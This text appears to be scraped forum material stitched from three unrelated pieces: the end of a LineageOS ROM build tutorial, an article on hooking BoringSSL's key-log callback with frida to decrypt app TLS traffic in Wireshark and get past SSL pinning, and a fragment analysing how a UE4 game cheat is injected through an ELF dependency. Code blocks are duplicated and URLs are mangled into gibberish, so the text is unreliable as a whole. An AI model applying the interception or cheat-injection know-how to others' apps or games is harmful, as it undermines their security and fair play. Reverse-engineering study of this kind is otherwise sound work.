<
remote
name
=
\\"private\\"
fetch
=
\\"ssh://git@github.com\\"
/>
<
remote
name
=
\\"aosp\\"
fetch
=
\\"b51K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6E0K9i4u0J5L8%4u0K6i4K6u0W2j5X3k6K6N6g2)9J5k6h3g2V1N6g2)9J5k6h3y4F1i4K6u0r3k6$3W2@1i4K6u0r3b7f1!0e0f1l9`.`.\\"
review
=
\\"android-review.googlesource.com\\"
revision
=
\\"refs/tags/android-14.0.0_r67\\"
/>
<
default
revision
=
\\"refs/heads/lineage-21.0\\"
remote
=
\\"github\\"
sync-c
=
\\"true\\"
sync-j
=
\\"4\\"
/>
改成这样 (具体修改可以参考镜像站点的帮助文档):
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | < remote name = \\"github\\" fetch = \\"55fK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1j5`.\\" /> <!-- 新增一个指向 LineageOS 镜像的 remote --\x3e < remote name = \\"lineage\\" fetch = \\"7d9K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6E0K9i4u0J5L8%4u0K6i4K6u0W2j5X3k6K6N6g2)9J5k6h3g2V1N6g2)9J5k6h3y4F1i4K6u0r3k6$3W2@1i4K6u0r3L8r3W2F1k6h3q4Y4k6f1!0e0i4K6u0r3\\" review = \\"review.lineageos.org\\" /> <!-- ... 其他 remote ... --\x3e < remote name = \\"aosp\\" fetch = \\"debK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6E0K9i4u0J5L8%4u0K6i4K6u0W2j5X3k6K6N6g2)9J5k6h3g2V1N6g2)9J5k6h3y4F1i4K6u0r3k6$3W2@1i4K6u0r3b7f1!0e0f1l9`.`.\\" review = \\"android-review.googlesource.com\\" revision = \\"refs/tags/android-14.0.0_r67\\" /> <!-- 把 default 的 remote 指向我们新增的 \'lineage\',并可以调大 sync-j 的值(比如12)来加速召唤 --\x3e < default revision = \\"refs/heads/lineage-21.0\\" remote = \\"lineage\\" sync-c = \\"true\\" sync-j = \\"12\\" /> |
然后,启动召唤法阵!
\\n1 | repo sync --no-clone-bundle |
加 --no-clone-bundle
这个小咒语是为了防止某些调皮的仓库 (比如 Lineage_framework_base
) 在同步时闹别扭,出现 bundle 错误。
召唤途中可能会遇到小波折,不要慌!按下 Ctrl + C
中断仪式,然后重新念咒:
1 | repo sync --no-clone-bundle |
如果还不行,试试更强硬的姿态:
\\n1 | repo sync --fail-fast |
但有时,会遇到极其可怕的恶性错误:
\\n1 2 3 4 5 6 7 8 | 出现错误:Fetching: 0% (7 /1471 ) 0:05 | 14 jobs | 0:04 LineageOS /android_bionic @ bionic 致命错误:不是 git 仓库: \'/mnt/swapdisk/Android/LineageOS/.repo/projects/dalvik.git\' platform /dalvik : 致命错误:不是 git 仓库: \'/mnt/swapdisk/Android/LineageOS/.repo/projects/dalvik.git\' platform /dalvik : sleeping 4.0 seconds before retrying 致命错误:不是 git 仓库: \'/mnt/swapdisk/Android/LineageOS/.repo/projects/dalvik.git\' error: Cannot fetch platform /dalvik from https: //mirrors .bfsu.edu.cn /git/AOSP/platform/dalvik ... (更多类似的报错) ... |
这是我在尝试召唤 LineageOS-22.1 时遇到的噩梦...
\\n遇到这种级别的错误,基本就是绝境了... (偷偷用 git clone
塞东西到 .repo/project
里面?想都别想!repo
酱会用小皮鞭严厉惩罚每一个不听话的宝宝;中途更换代码源到 googlesource
或 github
?她同样会惩罚那些三心二意的宝宝,必须对选择的源保持忠贞不渝!)
实在没办法了,可以试试这些最后的挣扎:
\\n强制对问题仓库进行灵魂同步:
\\n1 2 | # 比如 dalvik 仓库出错了 repo sync --force- sync platform /dalvik |
物理超度损坏的仓库,然后重新召唤:
\\n1 2 3 4 | # 先删除本地缓存的问题仓库 rm -rf .repo /projects/platform/dalvik .git # 注意路径需要根据实际错误调整(在这里使用的是相对路径) # 再单独召唤它 repo sync platform /dalvik |
如果以上都不行... 终极奥义:删库重来!
\\n1 | rm -rf .repo |
然后回到 Step 4,重新配置仓库 (repo init
)。这次... 也许该考虑放弃国内镜像,直接拥抱官方源了 (虽然可能要经历漫长的等待... 大约 200GB 的数据量呢)。
1 | repo init -u https: //github .com /LineageOS/android .git -b lineage-21.0 --git-lfs |
之后,就是... 泡杯茶,看几集番,或者睡一觉吧... 等待法阵完成它的工作... 直到所有星辰归位... ✨
\\n请务必查清你家设备的代号!可以去官方文档或者XDA这样的论坛找找看。
\\n在 .repo
目录下创建一个叫做 local_manifests
的小文件夹。在里面新建一个文件,名字可以叫 <你的手机厂商>_manifest.xml
(比如 lge_manifest.xml
)。然后,参考下面的模板抄写咒语:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | <? xml version = \\"1.0\\" encoding = \\"UTF-8\\" ?> < manifest > <!-- 先定义好远程的神秘力量来源地,方便后面召唤 --\x3e <!-- 注释的代码可以用来参考 --\x3e <!-- <remote name=\\"lge-qcom-dev\\" fetch=\\"https://github.com/lge-qcom-dev\\" revision=\\"lineage-21\\" /> --\x3e < remote name=\\"<随便取个名字,比如 a_cool_repo>\\" fetch=\\"<仓库地址,一定要对哦!>\\" revision=\\"<仓库里对应的分支名,比如 lineage-21>\\" /> <!-- 设备专属的 Vendor 力量 --\x3e <!-- <project path=\\"vendor/lge/alphaplus\\" name=\\"proprietary_vendor_lge_alphaplus\\" remote=\\"lge-qcom-dev\\" /> --\x3e < project path=\\"vendor/<手机厂商>/<设备代号>\\" name=\\"proprietary_vendor_<手机厂商>_<设备代号>\\" remote=\\"<上面定义的名字>\\" /> <!-- 设备专属的 Device Tree (设备树) --\x3e <!-- <project path=\\"device/lge/alphaplus\\" name=\\"android_device_lge_alphaplus\\" remote=\\"lge-qcom-dev\\" /> --\x3e < project path=\\"device/<手机厂商>/<设备代号>\\" name=\\"android_device_<手机厂商>_<设备代号>\\" remote=\\"<上面定义的名字>\\" /> <!-- 同芯片平台的通用 Vendor 力量 (如果你的设备有的话) --\x3e <!-- <project path=\\"vendor/lge/sm8150-common\\" name=\\"proprietary_vendor_lge_sm8150-common\\" remote=\\"lge-qcom-dev\\" /> --\x3e < project path=\\"vendor/<手机厂商>/<处理器代号>-common\\" name=\\"proprietary_vendor_<手机厂商>_<处理器代号>-common\\" remote=\\"<上面定义的名字>\\" /> <!-- 同芯片平台的通用 Device Tree (如果你的设备有的话) --\x3e <!-- <project path=\\"device/lge/sm8150-common\\" name=\\"android_device_lge_sm8150-common\\" remote=\\"lge-qcom-dev\\" /> --\x3e < project path=\\"device/<手机厂商>/<处理器代号>-common\\" name=\\"android_device_<手机厂商>_<处理器代号>-common\\" remote=\\"<上面定义的名字>\\" /> </ manifest > |
那么,这些神秘力量的地址在哪里找呢?
\\n很简单!去 GitHub 这个大宝库里搜索关键词,比如:
\\nproprietary_vendor <手机厂商> <设备代号>
android_device <手机厂商> <设备代号>
proprietary_vendor <手机厂商> <处理器代号> common
(建议有)android_device <手机厂商> <处理器代号> common
(建议有)很多机型的这些宝贝都可以在 TheMuppets
(木偶大佬!) 的 GitHub 仓库下找到 (但不一定是最新的哦)。想要最新鲜的?直接在 GitHub 搜索框里搜,像这样:
点进搜索结果,找到看起来最靠谱的仓库(数量不多的话也可以依次查看,顺便看看作者有没有其他的库),然后去看看它的 Branches
(分支) 页面:
选择与你的 LineageOS 版本 (比如 lineage-21
) 相对应的那个分支,把仓库地址和分支名填到我们刚才的 .xml
文件里。
保存好 .xml
文件后,再次执行召唤仪式!
1 | repo sync --no-clone-bundle |
现在呢...
\\n呐~ 你吃早餐了吗?要不要和可爱的 Android 酱共进早餐呢?
\\n诶?同意了嘛?那... 把你手机的代号作为用餐券交给 Android 酱吧~
\\n欸嘿,别忘了问 Android 酱的联系方式哦~ (虽然她可能不会直接告诉你)
\\n1 2 | # 问一下 Android 酱的联系方式 source build /envsetup .sh |
嗯... 果然,傲娇的 Android 酱没有直接回应... 但没关系,我们可以用刚才的“用餐券”来正式邀请她共进早餐啦!
\\n1 2 | # 使用你的设备代号作为“用餐券” breakfast <你的设备代号> |
如果是第一次约 Android 酱吃早餐,她可能会需要从 GitHub 上拉取一些专属于你设备的材料 (device, hardware, kernel 等)。这时候可能需要你的魔法上网工具助力!如果开了代理(全局)还是卡住不动,就按 Ctrl + C
强制取消,然后重新邀请她吃早餐 (多试几次可能就好了)。
早餐过后,就是激动人心的早午餐 (Brunch) 时间!这才是正餐!
\\n1 2 | # 和 Android 酱享用早午餐 (开始编译!) brunch <你的设备代号> |
接下来,就是漫长而又悲壮的炼成时间... 期间你可能会经历:
\\n不过不用太担心!即使编译中途电脑不幸牺牲,直接强制重启后,回到源码目录,重新执行 source build/envsetup.sh
和 brunch <你的设备代号>
,编译大法师会从上次中断的地方继续施法 (有点像断点续传,超神奇!)。
坚持住!胜利的 BGM 终将奏响!—— 编译成功!
\\n
我们亲手炼成的 ROM 包就静静地躺在 ./out/target/product/<你的设备代号>/
这个目录下。
好啦!快去把这份带着你心血和汗水的 ROM 刷入你的爱机吧!享受这份亲手创造的喜悦!(≧∇≦)
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
\\n\\n在Android上抓HTTPS包,我们会通常使用不限于charles, fiddler等工具作为中间人:
在上面这些抓包工具的实现原理中,伪造证书这一点就是他们毕生无法绕过的坎,基于这个破绽就可以有下面的检测方式:
判断在请求的时候获取到的服务端证书链中的leaf证书公钥指纹 和 真实的服务端leaf证书的公钥指纹(发版时候硬编码到app) 是否吻合来确定是不是伪造来判断是否有中间人,这种方式就是我们所说的ssl pinning
。
而mtls则是更严格的校验,服务端也要验客户端的证书(硬编码在app),就意味着你必须要用拥有服务端自签发的信任证书的客户端发起的访问,服务端才受理。既然这样,在中间人伪造了证书在没有配置信任客户端证书的情况下,请求会被拦在跟服务端握手时候的证书校验上。
对于常规的java层证书校验方式,如TrustKit-Android
依赖的是Android框架层的Java TLS API(HttpsURLConnection、SSLSocket、X509TrustManager等),所以针对于这些证书校验,一些工具譬如JustTrustMe
和objection
,就是hook掉所有涉及到的常规证书校验的java层校验类来强制验证通过。
即便这些工具在java层已经hook了这么多方法,但是依然存在着会使用native层来进行证书校验的方式,存在魔改的http或者自定义协议的通信的方式,这些对于http协议的抓包工具来说都是束手无策的。
当然,其实前面说这么多,并不是为了贬低中间人代理类抓包工具,也不是为了争个高低对错,我只是想表达的是中间人代理这类抓包软件作为首选永远不会错,但是当你感到迷茫的时候,请不要忘记还有wireshark站在你的背后。
好了,屁话有点多了。进入正题,下面我会基于从目标出发,来说明如何在不使用中间人代理的方式让wireshark实时抓包并且自动解密tls。
文章会分为上下两篇:
wireshark是支持对用户提供的sslkey.log
来解密对应匹配的tls流量,持续的写入sslkey.log,wireshark会使用类似于tail的方式读取新sslkey.
wireshark需要的sslkey.log包含的信息会是类似于下面这样:
每一行可以分成三段:
label
: 通常会有CLIENT_RANDOM
, CLIENT_HANDSHAKE_TRAFFIC_SECRET
, EXPORTER_SECRET
等label,其中最关键的是 CLIENT_RANDOM
。
Client Random
: 32字节(64个hex字符),握手阶段(Cient Hello)客户端发起Hello时候的随机数,这个值也是wireshark用来定位要解密tls报文的ID
Master Secret
: 48字节(96个hex字符),TLS 握手计算出来的主密钥。简单的可以理解成这是用于生成后续客户端和服务端通信的加密数据的密钥的重要参数。( 可以理解成gen_data_secret(master_secret)
)
有了前面这些认识,再次确认我们需要完成的目标:通过任何可行的方式,让要抓包的app上tls流量的sslkey实时写出到pc日志文件上,以让wireshark能够读取解密tls流量。
在Android 7之后,aosp的ssl就从openssl换到了boringssl,所以这里我们只会从boringssl项目来研究(虽然我们需要关注的地方大概率并没有区别)。
boringssl项目: 7c8K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6Y4L8$3!0Y4L8r3g2Q4x3V1k6T1L8%4u0A6L8X3N6K6M7$3H3`.
在aosp中boringssl会生成libssl.so
,是java层SSLSocket / SSLContext等的native支持。这是一句没有提供任何依据的结论描述。对于没有了解过java层是怎么和native关联起来的人来说,这其实很依赖死记硬背,虽然了解这些并这不是必要的,但如果感兴趣的可以看:下面我会以一个不知道这个事实的角度来,从一个简单的例子中跟踪为什么java层定位到libssl.so。(如果已经了解或并不在意,可省略该部分跳转)
为什么是这个方法?
下面的代码段来自 boringssl项目的src/ssl/ssl_lib.cc
文件
确定要hook的函数的时候,最先想到的可能会是:
为什么呢?最快速确定就是通过readelf来确定符号名称是否存在,或者使用hex编辑器来搜索字符串来确定存在并且在.symtab段(事实上如果是使用ida pro的话,他能显示并不能反映符号的存在,因为他会依赖其他的信息手段来确定函数符号名);elf是否能够保留STB_LOCAL
函数符号究其根本在编译的时候就确定了,通过external/boringssl/Android.bp
的配置也能确定这些事实。
SSL_CTX_set_keylog_callback
作为导出符号,自然获取其符号地址起来也是非常的简单,在这之前,我们需要拿到要注册回调函数的SSL_CTX *ctx
才能够继续,这个要怎么办呢?
前面我们在跟踪java层到native层中,可以看到建立连接,首先需要的是 SSL_new
。
所以我们的策略是,通过attach符号SSL_new
,使用参数SSL_CTX* ctx
来使用符号SSL_CTX_set_keylog_callback
进行注册回调函数。
到这里我们完成了对libssl.so
中tls的密钥打印。但这就是所有了吗?不,还没有,wireshark还拿不到这些数据,我们还需要使用rpc来接管所有的sslkey。
frida提供了一套rpc的通信实现:允许脚本中使用rpc.exports来注册导出函数定义,并且使用send和recv来通信:(frida-analykit实现了这一套,按照文档配置使用即可)
frida-analykit的导出函数注册位于 frida-analykit/script/rpc.ts
frida-analykit的python的rpc接受的数据代理实现位于 frida-analykit/agent/rpc/resolver.py
这一部分我只列举了实现原理依据,其余都是代码开发、项目组织层面的,这些我就不过多说了(真想理解看代码自己消化更高效)。实现细节可以跳转阅读frida-analykit
光是第一眼看到有这么多文字,耐心就足以被削去一半。说到这些,其实我是更倾向于直接把演示测试这一段放到前头(先通过图片看看怎么个事,再决定要不要细看,毕竟大家时间都很宝贵),但是想了想这会使得文章的行文组织过于跳脱、突兀,所以作罢,仅留下一把跳伞用于定位。
下面的资源都可以跳转工具下载,其中下面的测试资源
都是相对于该目录下的
图3可以看到app的大概情况,接下来我们会演示验证下面两点:
验证frida-analykit + wireshark是否能规避类似于ssl pinning的证书校验。(虽然从原理上是显而易见的,但是没有比能看到事实更让人感到安心的)
wireshark能够实时抓包解密tls到并且展示http协议。
在win上使用softAP方式开热点的通常会自动创建Wi-Fi Direct
网卡,在wireshark 捕获选项
中选择该网卡(通过任务管理器可以确定名称)
推荐使用这种方式来让设备进行捕获,不然会混杂其他设备过多的流量还需要写过滤规则
./ptpython_spawn.sh
来启动脚本index.ts
点击\\"发起请求\\"按钮,发起https请求,
sslkey.log文件只会在有数据进来的时候才会创建,所以一般会在发起一次请求后才去按图1配置,当然你手动创建也不是不行
图5可以看出报文已经成功解密,其中标注了三个框:上框=过滤规则(只保留http协议相关);中框=关联报文(关联的请求和响应);下框=报文内容。
从wireshark不是针对http协议的,所以用起来是没有charles,fiddler直观
这篇主要是借用libssl.so
这个有明显符号导出的boringssl进行hook,一个简单的例子来说明这一套流量抓包的流程和原理。
但是实战中会能这么简单如愿的hook到ssl_log_secret
吗?答案是否定的,现实情况是,即便是常用的webview,用的都不是动态库libssl.so
,而是自己静态链接了boringssl的,这就意味着除了常规的java层原生实现的证书校验外,其余的tls流量都无法解密,如果仅仅只是到这种程度,当然算不上可用。所以下篇会针对性的讨论我们该如何根据特征来对静态链接了boringssl(譬如flutter和webview),但没有导出符号的ssl_log_secret函数进行hook(实际上也适用于libssl.so)。
// java例子
URL url =
new
URL(
\\"3e0K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6W2P5r3q4E0M7r3I4W2i4K6u0W2j5$3!0E0\\"
);
\\nURLConnection conn = url.openConnection();
conn.connect()
// 跟踪步骤
java.net.URL.openConnection()
v
\\n
abstract
URLStreamHandler
\\n
├── com.android.okhttp.HttpsHandler.openConnection()
\\n
├── com.android.okhttp.HttpHandler.openConnection()
\\n
├── com.android.okhttp.HttpHandler.newOkUrlFactory()
\\n
├── com.android.okhttp.OkUrlFactory.open()
\\n
├── com.squareup.okhttp.internal.huc.HttpsURLConnectionImpl()
\\n
├── com.squareup.okhttp.internal.huc.DelegatingHttpsURLConnection()
\\n
├── com.squareup.okhttp.internal.huc.HttpURLConnectionImpl()
\\n
v
\\n
abstract
URLConnection
\\n
v
\\ncom.squareup.okhttp.internal.huc.HttpURLConnectionImpl.connect()
v
\\ncom.squareup.okhttp.internal.huc.HttpURLConnectionImpl.execute()
v
\\ncom.squareup.okhttp.internal.http.HttpEngine.sendRequest()
v
\\ncom.squareup.okhttp.internal.http.HttpEngine.connect()
v
\\ncom.squareup.okhttp.internal.http.StreamAllocation.newStream()
v
\\ncom.squareup.okhttp.internal.http.StreamAllocation.findHealthyConnection()
v
\\ncom.squareup.okhttp.internal.http.StreamAllocation.findConnection()
v
\\ncom.squareup.okhttp.internal.io.RealConnection()
v
\\ncom.squareup.okhttp.internal.io.RealConnection.connect()
v
\\ncom.squareup.okhttp.internal.io.RealConnection.connectSocket()
v
\\ncom.squareup.okhttp.internal.io.RealConnection.connectTls()
v
\\n
abstract
SSLSocketFactory
\\n
├── org.conscrypt.OpenSSLSocketFactoryImpl.createSocket()
\\n
├── org.conscrypt.Platform.createFileDescriptorSocket()
\\n
├── org.conscrypt.ConscryptFileDescriptorSocket()
\\n
├── org.conscrypt.newSsl()
\\n
├── org.conscrypt.NativeSsl.newInstance()
\\n
├── org.conscrypt.NativeCrypto.SSL_new()
// native
\\n
v
\\n
static
native
long
SSL_new(
long
ssl_ctx, AbstractSessionContext holder)
throws
SSLException;
\\n
v
\\n
// 到达native函数,找到注册native的地方:
\\n
v
\\ncom.android.org.conscrypt.NativeCryptoJni.init()
// external/conscrypt/common/src/main/java/org/conscrypt/NativeCrypto.java
\\n
v
\\n
System.loadLibrary(
\\"javacrypto\\"
)
// => libjavacrypto.so
\\n
├──
// external/conscrypt/Android.bp:编译libjavacrypto.so的配置
\\n
| cc_defaults {
\\n
| name:
\\"libjavacrypto-defaults\\"
,
\\n
|
\\n
| cflags: [
\\n
|
\\"-Wall\\"
,
\\n
|
\\"-Wextra\\"
,
\\n
|
\\"-Werror\\"
,
\\n
|
\\"-Wunused\\"
,
\\n
|
\\"-fvisibility=hidden\\"
,
\\n
| ],
\\n
|
\\n
| srcs: [
\\"common/src/jni/main/cpp/**/*.cc\\"
],
\\n
| local_include_dirs: [
\\"common/src/jni/main/include\\"
],
\\n
| }
\\n
|
\\n
| cc_library_shared {
\\n
| name:
\\"libjavacrypto\\"
,
\\n
|
// ...
\\n
| shared_libs: [
\\n
|
\\"libcrypto\\"
,
\\n
|
\\"liblog\\"
,
\\n
|
\\"libssl\\"
,
// libjavacrypto.so依赖libssl.so
\\n
| ],
\\n
|
// ...
\\n
| apex_available: [
\\n
|
\\"com.android.conscrypt\\"
,
\\n
|
\\"test_com.android.conscrypt\\"
,
\\n
| ],
\\n
|
// ...
\\n
| }
\\n
|
\\n
├──
// external/conscrypt/common/src/jni/main/cpp/conscrypt/jniload.cc
\\n
| jint libconscrypt_JNI_OnLoad(JavaVM* vm,
void
*)
// 注册native方法, NativeCrypto_{libssl.exports}
\\n
|
\\n
├──
// external/conscrypt/common/src/jni/main/cpp/conscrypt/native_crypto.cc
\\n
| NativeCrypto::registerNativeMethods(env);
\\n
| ├── ...
\\n
| ├── CONSCRYPT_NATIVE_METHOD(SSL_new,
\\"(J\\"
REF_SSL_CTX
\\")J\\"
)
\\n
| ├── ...
\\n
|
static
jlong NativeCrypto_SSL_new(JNIEnv* env, jclass, jlong ssl_ctx_address, CONSCRYPT_UNUSED jobject holder)
\\n
| ├── SSL_new()
// #include <openssl/ssl.h>
\\n
|
\\n
├──
// external/conscrypt/common/src/jni/main/cpp/conscrypt/jniutil.cc
\\n
|
void
jniRegisterNativeMethods(JNIEnv* env,
const
char
* className,
const
JNINativeMethod* gMethods,
int
numMethods)
\\n
| env->RegisterNatives()
\\n
v
\\n
static
native
long
SSL_new(
long
ssl_ctx, AbstractSessionContext holder)
throws
SSLException;
\\n
v
\\n........
(end)
// 以上,已经从 **java层** 一直跟踪到 **native层**,并且最后定位到 **libssl.so**,从而是可以确定事实:
// `libssl.so`是java层SSLSocket / SSLContext等类的native支持.
// java例子
URL url =
new
URL(
\\"3e0K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6W2P5r3q4E0M7r3I4W2i4K6u0W2j5$3!0E0\\"
);
\\nURLConnection conn = url.openConnection();
conn.connect()
// 跟踪步骤
java.net.URL.openConnection()
v
\\n
abstract
URLStreamHandler
\\n
├── com.android.okhttp.HttpsHandler.openConnection()
\\n
├── com.android.okhttp.HttpHandler.openConnection()
\\n
├── com.android.okhttp.HttpHandler.newOkUrlFactory()
\\n
├── com.android.okhttp.OkUrlFactory.open()
\\n
├── com.squareup.okhttp.internal.huc.HttpsURLConnectionImpl()
\\n
├── com.squareup.okhttp.internal.huc.DelegatingHttpsURLConnection()
\\n
├── com.squareup.okhttp.internal.huc.HttpURLConnectionImpl()
\\n
v
\\n
abstract
URLConnection
\\n
v
\\ncom.squareup.okhttp.internal.huc.HttpURLConnectionImpl.connect()
v
\\ncom.squareup.okhttp.internal.huc.HttpURLConnectionImpl.execute()
v
\\ncom.squareup.okhttp.internal.http.HttpEngine.sendRequest()
v
\\ncom.squareup.okhttp.internal.http.HttpEngine.connect()
v
\\ncom.squareup.okhttp.internal.http.StreamAllocation.newStream()
v
\\ncom.squareup.okhttp.internal.http.StreamAllocation.findHealthyConnection()
v
\\ncom.squareup.okhttp.internal.http.StreamAllocation.findConnection()
v
\\ncom.squareup.okhttp.internal.io.RealConnection()
v
\\ncom.squareup.okhttp.internal.io.RealConnection.connect()
v
\\ncom.squareup.okhttp.internal.io.RealConnection.connectSocket()
v
\\ncom.squareup.okhttp.internal.io.RealConnection.connectTls()
v
\\n
abstract
SSLSocketFactory
\\n
├── org.conscrypt.OpenSSLSocketFactoryImpl.createSocket()
\\n
├── org.conscrypt.Platform.createFileDescriptorSocket()
\\n
├── org.conscrypt.ConscryptFileDescriptorSocket()
\\n
├── org.conscrypt.newSsl()
\\n
├── org.conscrypt.NativeSsl.newInstance()
\\n
├── org.conscrypt.NativeCrypto.SSL_new()
// native
\\n
v
\\n
static
native
long
SSL_new(
long
ssl_ctx, AbstractSessionContext holder)
throws
SSLException;
\\n
v
\\n
// 到达native函数,找到注册native的地方:
\\n
v
\\ncom.android.org.conscrypt.NativeCryptoJni.init()
// external/conscrypt/common/src/main/java/org/conscrypt/NativeCrypto.java
\\n
v
\\n
System.loadLibrary(
\\"javacrypto\\"
)
// => libjavacrypto.so
\\n
├──
// external/conscrypt/Android.bp:编译libjavacrypto.so的配置
\\n
| cc_defaults {
\\n
| name:
\\"libjavacrypto-defaults\\"
,
\\n
|
\\n
| cflags: [
\\n
|
\\"-Wall\\"
,
\\n
|
\\"-Wextra\\"
,
\\n
|
\\"-Werror\\"
,
\\n
|
\\"-Wunused\\"
,
\\n
|
\\"-fvisibility=hidden\\"
,
\\n
| ],
\\n
|
\\n
| srcs: [
\\"common/src/jni/main/cpp/**/*.cc\\"
],
\\n
| local_include_dirs: [
\\"common/src/jni/main/include\\"
],
\\n
| }
\\n
|
\\n
| cc_library_shared {
\\n
| name:
\\"libjavacrypto\\"
,
\\n
|
// ...
\\n
| shared_libs: [
\\n
|
\\"libcrypto\\"
,
\\n
|
\\"liblog\\"
,
\\n
|
\\"libssl\\"
,
// libjavacrypto.so依赖libssl.so
\\n
| ],
\\n
|
// ...
\\n
| apex_available: [
\\n
|
\\"com.android.conscrypt\\"
,
\\n
|
\\"test_com.android.conscrypt\\"
,
\\n
| ],
\\n
|
// ...
\\n
| }
\\n
|
\\n
├──
// external/conscrypt/common/src/jni/main/cpp/conscrypt/jniload.cc
\\n
| jint libconscrypt_JNI_OnLoad(JavaVM* vm,
void
*)
// 注册native方法, NativeCrypto_{libssl.exports}
\\n
|
\\n
├──
// external/conscrypt/common/src/jni/main/cpp/conscrypt/native_crypto.cc
\\n
| NativeCrypto::registerNativeMethods(env);
\\n
| ├── ...
\\n
| ├── CONSCRYPT_NATIVE_METHOD(SSL_new,
\\"(J\\"
REF_SSL_CTX
\\")J\\"
)
\\n
| ├── ...
\\n
|
static
jlong NativeCrypto_SSL_new(JNIEnv* env, jclass, jlong ssl_ctx_address, CONSCRYPT_UNUSED jobject holder)
\\n
| ├── SSL_new()
// #include <openssl/ssl.h>
\\n
|
\\n
├──
// external/conscrypt/common/src/jni/main/cpp/conscrypt/jniutil.cc
\\n
|
void
jniRegisterNativeMethods(JNIEnv* env,
const
char
* className,
const
JNINativeMethod* gMethods,
int
numMethods)
\\n
| env->RegisterNatives()
\\n
v
\\n
static
native
long
SSL_new(
long
ssl_ctx, AbstractSessionContext holder)
throws
SSLException;
\\n
v
\\n........
(end)
// 以上,已经从 **java层** 一直跟踪到 **native层**,并且最后定位到 **libssl.so**,从而是可以确定事实:
// `libssl.so`是java层SSLSocket / SSLContext等类的native支持.
int
ssl_log_secret(
const
SSL *ssl,
const
char
*label,
const
uint8_t *secret,
\\n
size_t
secret_len) {
\\n
// 如果没有注册callback就不做处理
\\n
if
(ssl->ctx->keylog_callback == NULL) {
\\n
return
1;
\\n
}
\\n
// 编码random 和 master_secret成字符串
\\n
ScopedCBB cbb;
\\n
uint8_t *out;
\\n
size_t
out_len;
\\n
if
(!CBB_init(cbb.get(),
strlen
(label) + 1 + SSL3_RANDOM_SIZE * 2 + 1 +
\\n
secret_len * 2 + 1) ||
\\n
!CBB_add_bytes(cbb.get(), (
const
uint8_t *)label,
strlen
(label)) ||
\\n
!CBB_add_bytes(cbb.get(), (
const
uint8_t *)
\\" \\"
, 1) ||
\\n
!cbb_add_hex(cbb.get(), ssl->s3->client_random, SSL3_RANDOM_SIZE) ||
\\n
!CBB_add_bytes(cbb.get(), (
const
uint8_t *)
\\" \\"
, 1) ||
\\n
!cbb_add_hex(cbb.get(), secret, secret_len) ||
\\n
!CBB_add_u8(cbb.get(), 0
/* NUL */
) ||
\\n
!CBB_finish(cbb.get(), &out, &out_len)) {
\\n
return
0;
\\n
}
\\n
// 通知回调函数
\\n
ssl->ctx->keylog_callback(ssl, (
const
char
*)out);
\\n
OPENSSL_free(out);
\\n
return
1;
\\n}
struct
ssl_ctx_st {
\\n
// ...
\\n
// keylog_callback, if not NULL, is the key logging callback. See
\\n
// |SSL_CTX_set_keylog_callback|.
\\n
void
(*keylog_callback)(
const
SSL *ssl,
const
char
*line) = nullptr;
\\n
// ...
\\n}
int
ssl_log_secret(
const
SSL *ssl,
const
char
*label,
const
uint8_t *secret,
\\n
size_t
secret_len) {
\\n
// 如果没有注册callback就不做处理
\\n
if
(ssl->ctx->keylog_callback == NULL) {
\\n
return
1;
\\n
}
\\n
// 编码random 和 master_secret成字符串
\\n
ScopedCBB cbb;
\\n
uint8_t *out;
\\n
size_t
out_len;
\\n
if
(!CBB_init(cbb.get(),
strlen
(label) + 1 + SSL3_RANDOM_SIZE * 2 + 1 +
\\n
secret_len * 2 + 1) ||
\\n
!CBB_add_bytes(cbb.get(), (
const
uint8_t *)label,
strlen
(label)) ||
\\n
!CBB_add_bytes(cbb.get(), (
const
uint8_t *)
\\" \\"
, 1) ||
\\n
!cbb_add_hex(cbb.get(), ssl->s3->client_random, SSL3_RANDOM_SIZE) ||
\\n
!CBB_add_bytes(cbb.get(), (
const
uint8_t *)
\\" \\"
, 1) ||
\\n
!cbb_add_hex(cbb.get(), secret, secret_len) ||
\\n
!CBB_add_u8(cbb.get(), 0
/* NUL */
) ||
\\n
!CBB_finish(cbb.get(), &out, &out_len)) {
\\n
return
0;
\\n
}
\\n
// 通知回调函数
\\n
ssl->ctx->keylog_callback(ssl, (
const
char
*)out);
\\n
OPENSSL_free(out);
\\n
return
1;
\\n}
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
\\n\\n等待游戏启动之后继续在终端输入: my_hack()调用my_hack函数
用frida-ue4dumper得到base: 0x764bd2f000, GUObjectArray: undefined, GName: 0x7656b1f7c0
得到GName偏移:0xADF07C0
GWorld: 0xAFAC398
(通过字符串SeamlessTravel FlushLevelStreaming
定位)
GUObject: 0xAE34A98
(通过字符串Max UObject count is invalid. It must be a number that is greater than 0.
定位)
dumpSDK
dumpActors
dump libUE4.so
直接删掉libGame.so再启动游戏会crash,查看log可以定位到libGame.so
是在libUE4.so
加载的时候加载的,并且发现libUE4.so的依赖中包含了libGame.so,可以确认是ELF感染注入
通过readelf可以看到libGame.so是libUE4.so的依赖,具体的实现逻辑应该是通过修改DT_NEEDED
标签来加载这个so.
检查PHT数组中p_tag为PT_DYNAMIC
的元素,并找到其中d_tag为DT_STRTAB
的元素,其值就是字符串表在文件中的偏移,d_tag为DT_STRSZ
的元素的值是字符串表的长度,将两者相加即为字符串表末尾的地址,发现字符串表中有libGame.so
,并且DT_NEEDED条目中包含了libGame.so
,当linker加载libUE4.so时,会解析libUE4.so的dynamic段,并遍历DT_NEEDED条目,生成新的 LoadTask
,递归加载所有依赖库
libGame.so的函数都被CFF混淆过了,用D810插件可以有比较不错的去混淆效果,起码算是能看了
libGame.so的init_array段中会调用一个函数,追踪这个函数的调用链可以发现sub_27F0会创建一个线程,那么这个线程执行的函数就是外挂逻辑的实现了
